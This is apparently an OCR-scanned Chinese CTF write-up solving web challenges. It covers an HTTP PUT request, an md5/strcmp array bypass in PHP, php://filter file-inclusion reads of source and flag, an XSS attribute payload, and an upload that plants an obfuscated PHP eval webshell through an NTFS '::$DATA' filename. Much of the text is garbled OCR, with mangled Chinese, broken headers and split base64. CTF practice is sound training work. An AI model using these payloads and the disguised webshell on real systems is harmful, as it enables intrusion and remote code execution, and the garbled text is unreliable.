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FaE Rt 28R 7 TR, THE#EERSR T “put me a message then you can get the flag”
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PUT /abf20c91a442dad8/4/ HTTP/1.1 HTTP/1.1 200 OK

Host: 192.144.182.32:8001 :l Date: Fri, 01 Oct 2021 07:53:51 GMT
Cache-Control: max-age=0 Server: Apache/2.4.29 (Ubuntu)
Upgrade-Insecure-Requests: 1 Content-Length: 32

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0) Connection: close

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Content-Type: text/html; charset=UTF-8
Safari/537.36

Accept: ZmxhZ3twdXRfcmVxdWVzdHVoMjEyMzJ9

text/html,application/xhtml+xml,application/xml;g=0.9, image/webp,image/ap
ng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 7

message
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WECLOME
HEEFARLHKE] T 6 HE Kflag

<hl>Welcome!</hl>
<div class="scene">
<body>
<h3 align="center">YIRE]"RBEIH " E—BMERBHIATE</h3>

<p>AR, KR, BR, BRAEZR. BIEAT. XPEREHRROET. £B7REMT. —F—R&O0X, PEEBERERNDOET, EREZONH. HE. TUWED (1-5] . ARRTENAGHZ— (61 , KEE
BBART L8 FMENHRBHEEM (11 , BFTEOERTAEB2— (71 . WEXPFERDPE, LHET, BERR, /VKEBRR, TRLEK2EHNERARNK, SER10752F5 AR, 2017FRFPHEAO05.687<! -~
IR EEAAIEERE? flag{bl£0a440b9803482-—>
</br><p>

RRPELPHPERFERR#., KRAGHIH, REEFRA. &, @X. ##F. KX BE. 6. 1%, 5F. BR. LB, K. B3 IHELRE. F580. ZREE. K3/, RRE. KRS, BAMN, BABE.
HREEF A KRIEL"
<br/><p>
BARETERERFENT., PEEMEREERTZ— (14-15] , ERIVGRFHRIIN (BRIBFER) , D3R REEKRRADM. KEE. DEE. BRIPARTRIL, SUKRIBRRT®IE, MBFHE. (16) SHARE
. HEk. EiEh. 2Rl KEXBE. REDLEME. BHERL. ARDREREZNNBPL, AAARKEAY, BitIWAR, AREFRRARSE M - R—R BIRER
</p>
</E0dy>
</html>

<br/>
<br/>
<br/>
</div></div></main><script src="./js/application.js"></script><!--[if 1t IE 9]><script src="./js/IE9.js"></script><script src="./js/html5.js"></script><![endif]--></body></html>
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GET /abf20c91a442da48/1/ HTTP/1.1
Host: 192.144.182.32:8001 d e
Cache-Control: max-age=0 ver: Apache/2.4.
Upgrade-Insecure-Requests: 1 has 68197365f9dff5bf)
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36 Vary: & B

(KHTML, like Gecko) Chrome/78.0.3904.108 safari/537.36 Content-Length: 1954
Accept: Connection: close
text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,image/apng,*/*;q=0.8 Content-Type: text/html; charset=UTF-8
,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;g=0.9 <hl>Welcome!</hl>
Connection: close <div class="scene">
<body>

T

2021 08:01:52 GMT
9 (Ubuntu)

<h3 alig =2 N
<p>ﬁ§ EHRR o b s2avs 4] E&E»ﬁiﬁﬁiﬁﬁ"z—m—m"&luz

A RS — [6]
AR mxfmzw WREBLR (1] ;smmwmﬁ+xaﬂz— 7

o Wb RETREE , WA , B AR, T RETRAT |

7$$F'§Al:l9os 68T <! =
</br><
Eﬂswxsﬂmwﬁnﬁigﬁ#mo KREEHES  WEEAER, B, EX, . 500, HE. AR, SR

BE. T8, A, W, B3 TR, SAM, RRES. R00M  GRRE. KRS AN, HABE
Rk E i Lema

<br/><p>

ERRTEREREENY, TEERYRBEETZ— (10-15)
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FRERREXE, BITIAY. HRETHAAEE 7 B— R

</p>

</gody>

</html>

FHAE , 201

<br/>

<br/>

<br/>

</div></div></main><script src="./js/application.js"></script><!/--[if 1t IE
9]><script src="./js/IE9.js"></script><script

sre="./js/html5. js"></script><![endif]--></body></html>
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' <hl1>Code</h1>

|| <head>

<title></title>

<style type="text/css">

.link {

text-decoration: none;

i color: #000;
|

}

I .link:hover {
text-decoration: none;
color: #000;

}

. </style>

| </head>

i <div class="scene">

| <p>MEEBITH, FHSEHYIE,

| <l--<a class="link"_hré

<p>IBERIA MR TIIE, FBES

<br/>

<br/>

|| </div></div></main><script src="./js/application.js"></script><!-—[if 1t IE 9]><script src="./js/IE9.js"></scri

arget="_ blank">§i{E</a>-->

B3
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RILFTA CHf B #RE WO AR PE R YR AURS B 17 19 code. txt

<?php
if(isset($_GET['vl']) && isset($_GET['v2']) && isset($_GET['v3'])){
$vl = $ GET['vl'];
$v2 = $ GET['v2'];
$v3 = $ GET['v3'];
if($vl != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;

}

XERUENBE T 3AME v1,v2,v3 ZERZEVI V2HIMDSH U ER N AEXAHE, BT . ELBRLZeF LK
MD5#24MR B3 £ EAR A A . v3iX B2 HiflagitiT ELEL stremp XA BB RAE R K 1ER B0 ASAH R [E]-
1 REEFHKR BRBAHZETRARE ERERMNAMES agii N E, BEREHH, MHEEMAHET .

Fir AR X B ) payload ) 5l &2 :

index.php?vl[]=1&v2[]=28&v3[]=3

> C 0O S @ e http192.144.182.32:8001/abf20c91a442da48/3/index.php?vi[l=1&v2[]=2&v3[]=3
FELSHT 8 M AEBBE [JCON [ FHEH [ISE0 [ER MRS MRS AT MEBREs (

flag{1e479e2ec6ed96e8d4db671aa28c5ala}
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<IDOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>include</title>
</head>
<body>
<!-- includel.php -->
</body>
</html>

Vi iHinclude1.php E 3h#h 4 /include1.php?file=index

Mphphh AT —F , JERR LA RphpH], RANIEE T, indexiki ABEBLAN T #EMincludel.phpf &
m

) Bx view-source:192.144.182.32:8001/abf20c91a442da48/2/includel.php?file=php://filter/read=convert.base64-encode/resource=include W Y
2B® [ICDON [AFNEH [ISE0 [FB R COMBE RI3XE [REE @ CTFE4T -9 Mac361- ] szt ARSH#E
>D9waHAKCgllcenJvel9yZXBvenRpbmcoMCk7CiAgICBAJGZpbGUgPSAkKX0dFVFsiZmlsZSJdOwogICAgaWYoaXNzZ2X0oJGZpbGUpKQogICAgewogICAgGICAgGIGImICE
12y 9pJywgJIGZpbGUpIHX8IHNOCNNOcigkZmlsZSwili4 iKSAhPTOgRkFMUOUgfHwgc 3RybGVUKCRMaWx1KT4 9IMTAWIHX8 ICRmaWx1PT09ImluY2x1ZGUXIiApCiAgI(

1i0wogICAgICAgGIHOKICAgICAgGICB1bHN1CiAgICAgICAgewoJCQlpbmNsdWRIKCRmaWx1LicucGhwJyk7CgkJCXN1dGNvb2tpZSgidGlwecyIsImluY2x1Z2GUyLnBoc
)JXVY2F0aw9uOmluY2x1ZGUxLnBocDImaWx1PWluzZGV4Jyk7Cgl9Cj8+Cg==

CSDN @cainsoftware

base64f# % j5 i T

<html>
</html>
<?php

error_reporting(0);
@$file = $_GET["file"];

if(isset($file))
{
if (preg_match('/http|datal|ftp|input|%ee|flag/i', $file) || strstr($file,"..") !== FALSE || strlen(
{
echo "<p> error! </p>";
}
else
{

include($file.'.php');
setcookie("tips","include2.php");
}

}

else
{

header('Location:includel.php?file=index");

?>

LA AE WAEH — AN S0 R include2 B ] DLEOT - 2 21 iR
Hinclude 1534 T flaghf AR LA Wiflag. php it /& B Ja 34112 52 B AR SO A4

Elinclude2fI N 25



<html>

</html>

<?php
error_reporting(®);
$file = $_GET["file"];

if(isset($file))
{
if ( preg_match('/http|data|ftp|input|%@@|base/i', $file) || strstr($file,"..") !== FALSE || strlen($fi
{
echo "<p> error! </p>";
}
else
{
include($file.'.php');
}
}
else
{
echo "file not found";
?>

RIEA L ElagZk A — T ik WK TR N A ST MR ILIE T base,iX B 7] LA M stringrot 1302 fai

< C O iﬁ( @ #x view-source:192.144.182.32:8001/abf20c91a442da48/2/include2.php?file=php:/ffilter/read=string.rot13/resource=flag
EIEESHFT 8 [OABRRER [JCDN [OFNEE [9SE0 (BB [xe ONBE L83 OBRS% @CTFEZT - Mac36l-: 51
1| <html>
2| </html>
3| <?cuc
4 $synt="synt{97np2gq3112p633687n2447qoolgpllo2}";
5| ?>

B fiR 2 Bp a] 18 Bl flag



Rot13 Cipher

$synt="synt{97np2g3112p633687n2447goolgpllo2}";

it r= (Remove Punctuation)

$flag="flag{97ac2d3112c633687a2447dbbldcl11b2}";
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XSS
XSS
g, RBRINEANalert(/xxx/ MR7 PI AS EIR B ER IR,
HAERATEXNER
| | mx
payloadf{{<E:0

REBEHRATLLT, FHER.
payload:"><a onmousemove=alert(1) img=http://www.baidu.com>

SRAERKT



REB KINEAalert(/xxx/ MR7 7 ASEIRIBE MR, 192.144.182.32:8001 iR
Key: 39a565073ce64c63

REEEIF"><a onm ju.com>#g

payloadf9+E:51

Elements Console Sources Network Performance Memory Application Security Audits HackBar

d></head

y

1>XSS</h1

iv class="category category-misc''>..</div
iv class="scene

script src="./js/application.js"></script
<!——[if 1t IE 9]><script src="./js/IE9.js"></scri
script src="./js/IE6.js"></script

cript src="./js/html5.js"></script><![endif]-—>

R, REMIENalert (/xxx/ MR AT ASEIE
br:
h2 align="center">;g85 ">
center
v<form action="1level. ethod="GET

input name="ke! value> == $0
» <a onmousemove="alert(1)" img="http://www.baidu.com">..</a
/form

ousemove=alert(1) img=http://www.baidu.com>ig¥(HaI%R.</h2

Upload
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R RATHIphp fH . flagh&z\: flag{xx.
http://192.144.182.32:8001/abf20c91a442da48/6/index.php

hint1: 245 Windows
hint2: F4 &2 INTFSHS T
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IST /abf20c91lad442da48/6/demo.php HTTP/1.1

ist: 192.144.182.32:8001

mtent-Length: 641

iche-Control: max-age=0

‘igin: http://192.144.182.32:8001

igrade-Insecure-Requests: 1

mtent-Type: multipart/form-data; boundary=----WebKitFormBoundaryIScLAimKC5mNtc8z
ier-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_16_0) AppleWebKit/537.36
HTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

:cept:

'xt/html,application/xhtml+xml,application/xml;qg=0.9, image/webp,image/apng,*/*;q=0.8

ipplication/signed-exchange;v=b3

ferer: http://192.144.182.32:8001/abf20c91a442da48/6/index.php
icept-Encoding: gzip, deflate

:cept-Language: zh-CN,zh;g=0.9

mnection: close

————— WebKitFormBoundaryIScLAimKC5mNtc8z
mtent-Disposition: form-data; name="upfile";
mtent-Type: image/jpeg

filename="cain.php::$DATA"

F89%a

'php

1f="AAVFsAAAA" ;
:a="IEBldmFsAAAK";
»jt="CRAAAfUE9TAA";

‘bl = str_replace("ti",
.gw="nY2FAAAApbiddKTs=";

kf = $vbl("k", "", "kbakske6k4k_kdkekckokdke");

ibp $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn");
Py $sbp('', $bkf($vbl("A", "", $ka.$pjt.$uf.$iqw))); Smpy();

"","tistittirti_rtietipltiatice");

————— WebKitFormBoundaryIScLAimKC5mNtc8z
mtent-Disposition: form-data; name="submit"

————— WebKitFormBoundaryIScLAimKC5mNtc8z--

—EMB 3 T flag®| b4 R~

Y

HTTP/1.1 200 OK

Date: Fri, 01 Oct 2021 08:46:55 GMT
Server: Apache/2.4.29 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 90

Connection: close

Content-Type: text/html; charset=UTF-8

<h1>3fF Eff</h1>

<div class="scene"><br/>
flag{718b6dd54c8dld3adl9eb99cbl2£f13e2}
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